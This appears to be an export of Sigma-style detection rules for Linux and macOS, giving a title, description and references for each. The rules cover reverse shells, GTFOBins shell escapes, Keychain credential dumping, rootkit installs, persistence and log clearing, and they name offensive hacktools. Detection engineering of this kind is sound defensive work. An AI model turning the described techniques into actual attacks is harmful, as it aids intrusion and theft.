OMIGOD SCX RunAsProvider ExecuteScript	Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.	https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure, https://github.com/Azure/Azure-Sentinel/pull/3059
OMIGOD SCX RunAsProvider ExecuteShellCommand	Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.	https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure, https://github.com/Azure/Azure-Sentinel/pull/3059
Potential Perl Reverse Shell Execution	Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity	https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, https://www.revshells.com/
Potential PHP Reverse Shell	Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets. Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.	https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, https://www.revshells.com/
Pnscan Binary Data Transmission Activity	Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network. This behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT	https://www.cadosecurity.com/blog/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence, https://intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf, https://regex101.com/r/RugQYK/1, https://www.virustotal.com/gui/file/beddf70a7bab805f0c0b69ac0989db6755949f9f68525c08cb874988353f78a9/content
Connection Proxy	Detects setting proxy configuration	https://attack.mitre.org/techniques/T1090/
Python Spawning Pretty TTY Via PTY Module	Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.	https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
Python Reverse Shell Execution Via PTY And Socket Modules	Detects the execution of python with calls to the socket and pty module in order to connect and spawn a potential reverse shell.	https://www.revshells.com/
Inline Python Execution - Spawn Shell Via OS System Library	Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.	https://gtfobins.github.io/gtfobins/python/#shell
Remote Access Tool - Team Viewer Session Started On Linux Host	Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.	Internal Research
Linux Remote System Discovery	Detects the enumeration of other remote systems.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
Linux Package Uninstall	Detects linux package removal using builtin tools such as "yum", "apt", "apt-get" or "dpkg".	https://sysdig.com/blog/mitre-defense-evasion-falco, https://www.tutorialspoint.com/how-to-install-a-software-on-linux-using-yum-command, https://linuxhint.com/uninstall_yum_package/, https://linuxhint.com/uninstall-debian-packages/
Shell Execution via Rsync - Linux	Detects the use of the "rsync" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.	https://gtfobins.github.io/gtfobins/rsync/#shell
Suspicious Invocation of Shell via Rsync	Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.	https://sysdig.com/blog/detecting-and-mitigating-cve-2024-12084-rsync-remote-code-execution/, https://gist.github.com/Neo23x0/a20436375a1e26524931dd8ea1a3af10
Potential Ruby Reverse Shell	Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell	https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, https://www.revshells.com/
Scheduled Cron Task/Job - Linux	Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md
Security Software Discovery - Linux	Detects usage of system utilities (only grep and egrep for now) to discover security software discovery	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md
Disabling Security Tools	Detects disabling security tools	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md
Disable Or Stop Services	Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services	https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html
Setuid and Setgid	Detects suspicious change of file privileges with chown and chmod commands	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md, https://attack.mitre.org/techniques/T1548/001/
Shell Invocation Via Ssh - Linux	Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.	https://gtfobins.github.io/gtfobins/ssh/, https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
Potential Linux Amazon SSM Agent Hijacking	Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.	https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan, https://www.bleepingcomputer.com/news/security/amazons-aws-ssm-agent-can-be-used-as-post-exploitation-rat-malware/, https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/
Sudo Privilege Escalation CVE-2019-14287	Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287	https://www.openwall.com/lists/oss-security/2019/10/14/1, https://access.redhat.com/security/cve/cve-2019-14287, https://twitter.com/matthieugarin/status/1183970598210412546
Chmod Suspicious Directory	Detects chmod targeting files in abnormal directory paths.	https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md
Container Residence Discovery Via Proc Virtual FS	Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem	https://blog.skyplabs.net/posts/container-detection/, https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker
Suspicious Curl File Upload - Linux	Detects a suspicious curl process start the adds a file to a web request	https://twitter.com/d1r4c/status/1279042657508081664, https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file, https://curl.se/docs/manpage.html, https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
Suspicious Curl Change User Agents - Linux	Detects a suspicious curl process start on linux with set useragent options	https://curl.se/docs/manpage.html
Docker Container Discovery Via Dockerenv Listing	Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery	https://blog.skyplabs.net/posts/container-detection/, https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker
Potentially Suspicious Execution From Tmp Folder	Detects a potentially suspicious execution of a process located in the '/tmp/' folder	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
Potential Discovery Activity Using Find - Linux	Detects usage of "find" binary in a suspicious manner to perform discovery	https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes
Suspicious Git Clone - Linux	Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious	https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt
History File Deletion	Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity	https://github.com/sleventyeleven/linuxprivchecker/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md
Print History File Contents	Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance	https://github.com/sleventyeleven/linuxprivchecker/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md
Linux HackTool Execution	Detects known hacktool execution based on image name.	https://github.com/Gui774ume/ebpfkit, https://github.com/pathtofile/bad-bpf, https://github.com/carlospolop/PEASS-ng, https://github.com/t3l3machus/hoaxshell, https://github.com/t3l3machus/Villain, https://github.com/HavocFramework/Havoc, https://github.com/1N3/Sn1per, https://github.com/Ne0nd0g/merlin, https://github.com/Pennyw0rth/NetExec/
Potential Container Discovery Via Inodes Listing	Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container.	https://blog.skyplabs.net/posts/container-detection/, https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker
Interactive Bash Suspicious Children	Detects suspicious interactive bash as a parent to rather uncommon child processes	Internal Research
Suspicious Java Children Processes	Detects java process spawning suspicious children	https://www.tecmint.com/different-types-of-linux-shells/
Linux Network Service Scanning Tools Execution	Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md, https://github.com/projectdiscovery/naabu, https://github.com/Tib3rius/AutoRecon
Linux Shell Pipe to Shell	Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell	Internal Research
Linux Recon Indicators	Detects events with patterns found in commands used for reconnaissance on linux systems	https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py
Potential Suspicious Change To Sensitive/Critical Files	Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system.	https://learn.microsoft.com/en-us/azure/defender-for-cloud/file-integrity-monitoring-overview#which-files-should-i-monitor
Execution Of Script Located In Potentially Suspicious Directory	Detects executions of scripts located in potentially suspicious locations such as "/tmp" via a shell such as "bash", "sh", etc.	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
Shell Execution Of Process Located In Tmp Directory	Detects execution of shells from a parent process located in a temporary (/tmp) directory	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
System Information Discovery	Detects system information discovery commands	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md
System Network Connections Discovery - Linux	Detects usage of system utilities to discover system network connections	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md
System Network Discovery - Linux	Detects enumeration of local network configuration	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md
Touch Suspicious Service File	Detects usage of the "touch" process in service file.	https://blogs.blackberry.com/, https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
Triple Cross eBPF Rootkit Execve Hijack	Detects execution of a the file "execve_hijack" which is used by the Triple Cross rootkit as a way to elevate privileges	https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275
Triple Cross eBPF Rootkit Install Commands	Detects default install commands of the Triple Cross eBPF rootkit based on the "deployer.sh" script	https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh
User Has Been Deleted Via Userdel	Detects execution of the "userdel" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks	https://linuxize.com/post/how-to-delete-group-in-linux/, https://www.cyberciti.biz/faq/linux-remove-user-command/, https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/, https://linux.die.net/man/8/userdel
User Added To Root/Sudoers Group Using Usermod	Detects usage of the "usermod" binary to add users add users to the root or suoders groups	https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/, https://www.configserverfirewall.com/ubuntu-linux/ubuntu-add-user-to-root-group/
Vim GTFOBin Abuse - Linux	Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.	https://gtfobins.github.io/gtfobins/vim/, https://gtfobins.github.io/gtfobins/rvim/, https://gtfobins.github.io/gtfobins/vimdiff/
Linux Webshell Indicators	Detects suspicious sub processes of web server processes	https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/, https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
Download File To Potentially Suspicious Directory Via Wget	Detects the use of wget to download content to a suspicious directory	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
Potential Xterm Reverse Shell	Detects usage of "xterm" as a potential reverse shell tunnel	https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, https://www.revshells.com/
MacOS Emond Launch Daemon	Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md, https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
Startup Item File Created - MacOS	Detects the creation of a startup item plist file, that automatically get executed at boot initialization to establish persistence. Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md, https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
MacOS Scripting Interpreter AppleScript	Detects execution of AppleScript of the macOS scripting language AppleScript.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md, https://redcanary.com/blog/applescript/
Decode Base64 Encoded Text -MacOs	Detects usage of base64 utility to decode arbitrary base64-encoded text	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md
Binary Padding - MacOS	Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md, https://linux.die.net/man/1/truncate, https://linux.die.net/man/1/dd
File Time Attribute Change	Detect file time attribute change to hide new or changes to existing files	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md
Hidden Flag Set On File/Directory Via Chflags - MacOS	Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS. When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers.	https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/, https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/, https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf, https://ss64.com/mac/chflags.html
Indicator Removal on Host - Clear Mac System Logs	Detects deletion of local audit logs	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md
Clipboard Data Collection Via OSAScript	Detects possible collection of data from the clipboard via execution of the osascript binary	https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
Creation Of A Local User Account	Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md, https://ss64.com/osx/sysadminctl.html
Hidden User Creation	Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md
Credentials from Password Stores - Keychain	Detects passwords dumps from Keychain	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md, https://gist.github.com/Capybara/6228955
System Integrity Protection (SIP) Disabled	Detects the use of csrutil to disable the Configure System Integrity Protection (SIP). This technique is used in post-exploit scenarios.	https://ss64.com/osx/csrutil.html, https://objective-see.org/blog/blog_0x6D.html, https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/, https://www.virustotal.com/gui/file/05a2adb266ec6c0ba9ed176d87d8530e71e845348c13caf9f60049760c312cd3/behavior
System Integrity Protection (SIP) Enumeration	Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in post-exploit scenarios.	https://ss64.com/osx/csrutil.html, https://objective-see.org/blog/blog_0x6D.html, https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/, https://www.virustotal.com/gui/file/05a2adb266ec6c0ba9ed176d87d8530e71e845348c13caf9f60049760c312cd3/behavior
Disable Security Tools	Detects disabling security tools	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
User Added To Admin Group Via Dscl	Detects attempts to create and add an account to the admin group via "dscl"	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-2---create-local-account-with-admin-privileges---macos, https://ss64.com/osx/dscl.html
User Added To Admin Group Via DseditGroup	Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-5---add-a-newexisting-user-to-the-admin-group-using-dseditgroup-utility---macos, https://ss64.com/osx/dseditgroup.html
Root Account Enable Via Dsenableroot	Detects attempts to enable the root account via "dsenableroot"	https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1078.003/T1078.003.md, https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/persistence_enable_root_account.toml, https://ss64.com/osx/dsenableroot.html
File and Directory Discovery - MacOS	Detects usage of system utilities to discover files and directories	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md
Credentials In Files	Detecting attempts to extract passwords with grep and laZagne	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
GUI Input Capture - macOS	Detects attempts to use system dialog prompts to capture user credentials	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md, https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/
Disk Image Creation Via Hdiutil - MacOS	Detects the execution of the hdiutil utility in order to create a disk image.	https://www.loobins.io/binaries/hdiutil/, https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/, https://ss64.com/mac/hdiutil.html
Disk Image Mounting Via Hdiutil - MacOS	Detects the execution of the hdiutil utility in order to mount disk images.	https://www.loobins.io/binaries/hdiutil/, https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/, https://ss64.com/mac/hdiutil.html
Suspicious Installer Package Child Process	Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters	https://redcanary.com/blog/clipping-silver-sparrows-wings/, https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_installer_package_spawned_network_event.toml
System Information Discovery Using Ioreg	Detects the use of "ioreg" which will show I/O Kit registry information. This process is used for system information discovery. It has been observed in-the-wild by calling this process directly or using bash and grep to look for specific strings.	https://www.virustotal.com/gui/file/0373d78db6c3c0f6f6dcc409821bf89e1ad8c165d6f95c5c80ecdce2219627d7/behavior, https://www.virustotal.com/gui/file/4ffdc72d1ff1ee8228e31691020fc275afd1baee5a985403a71ca8c7bd36e2e4/behavior, https://www.virustotal.com/gui/file/5907d59ec1303cfb5c0a0f4aaca3efc0830707d86c732ba6b9e842b5730b95dc/behavior, https://www.trendmicro.com/en_ph/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html
JAMF MDM Potential Suspicious Child Process	Detects potential suspicious child processes of "jamf". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.	https://github.com/MythicAgents/typhon/, https://www.zoocoup.org/casper/jamf_cheatsheet.pdf, https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html
JAMF MDM Execution	Detects execution of the "jamf" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.	https://github.com/MythicAgents/typhon/, https://www.zoocoup.org/casper/jamf_cheatsheet.pdf, https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html
JXA In-memory Execution Via OSAScript	Detects possible malicious execution of JXA in-memory via OSAScript	https://redcanary.com/blog/applescript/
Launch Agent/Daemon Execution Via Launchctl	Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.001/T1569.001.md, https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/, https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/, https://www.trendmicro.com/en_us/research/18/d/new-macos-backdoor-linked-to-oceanlotus-found.html, https://www.loobins.io/binaries/launchctl/
Local System Accounts Discovery - MacOs	Detects enumeration of local systeam accounts on MacOS	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md
Local Groups Discovery - MacOs	Detects enumeration of local system groups	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
MacOS Network Service Scanning	Detects enumeration of local or remote network services.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md
Network Sniffing - MacOs	Detects the usage of tooling to sniff network traffic. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md
File Download Via Nscurl - MacOS	Detects the execution of the nscurl utility in order to download files.	https://www.loobins.io/binaries/nscurl/, https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl, https://gist.github.com/nasbench/ca6ef95db04ae04ffd1e0b1ce709cadd
Suspicious Microsoft Office Child Process - MacOS	Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution	https://redcanary.com/blog/applescript/, https://objective-see.org/blog/blog_0x4B.html
OSACompile Run-Only Execution	Detects potential suspicious run-only executions compiled using OSACompile	https://redcanary.com/blog/applescript/, https://ss64.com/osx/osacompile.html
Payload Decoded and Decrypted via Built-in Utilities	Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.	https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823
Potential Persistence Via PlistBuddy	Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility	https://redcanary.com/blog/clipping-silver-sparrows-wings/, https://www.manpagez.com/man/8/PlistBuddy/
Remote Access Tool - Team Viewer Session Started On MacOS Host	Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.	Internal Research
Macos Remote System Discovery	Detects the enumeration of other remote systems.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
Scheduled Cron Task/Job - MacOs	Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md
Screen Capture - macOS	Detects attempts to use screencapture to collect macOS screenshots	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md, https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py
Security Software Discovery - MacOs	Detects usage of system utilities (only grep for now) to discover security software discovery	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md
Space After Filename - macOS	Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md
Split A File Into Pieces	Detection use of the command "split" to split files into parts and possible transfer.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md
Osacompile Execution By Potentially Suspicious Applet/Osascript	Detects potential suspicious applet or osascript executing "osacompile".	https://redcanary.com/blog/mac-application-bundles/
Suspicious Browser Child Process - MacOS	Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.	https://fr.slideshare.net/codeblue_jp/cb19-recent-apt-attack-on-crypto-exchange-employees-by-heungsoo-kang, https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_initial_access_suspicious_browser_childproc.toml
Suspicious Execution via macOS Script Editor	Detects when the macOS Script Editor utility spawns an unusual child process.	https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685, https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/
Potential Discovery Activity Using Find - MacOS	Detects usage of "find" binary in a suspicious manner to perform discovery	https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes
Suspicious History File Operations	Detects commandline operations on shell history files	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md
Potential In-Memory Download And Compile Of Payloads	Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware	https://redcanary.com/blog/mac-application-bundles/
Suspicious MacOS Firmware Activity	Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.	https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml, https://www.manpagez.com/man/8/firmwarepasswd/, https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web
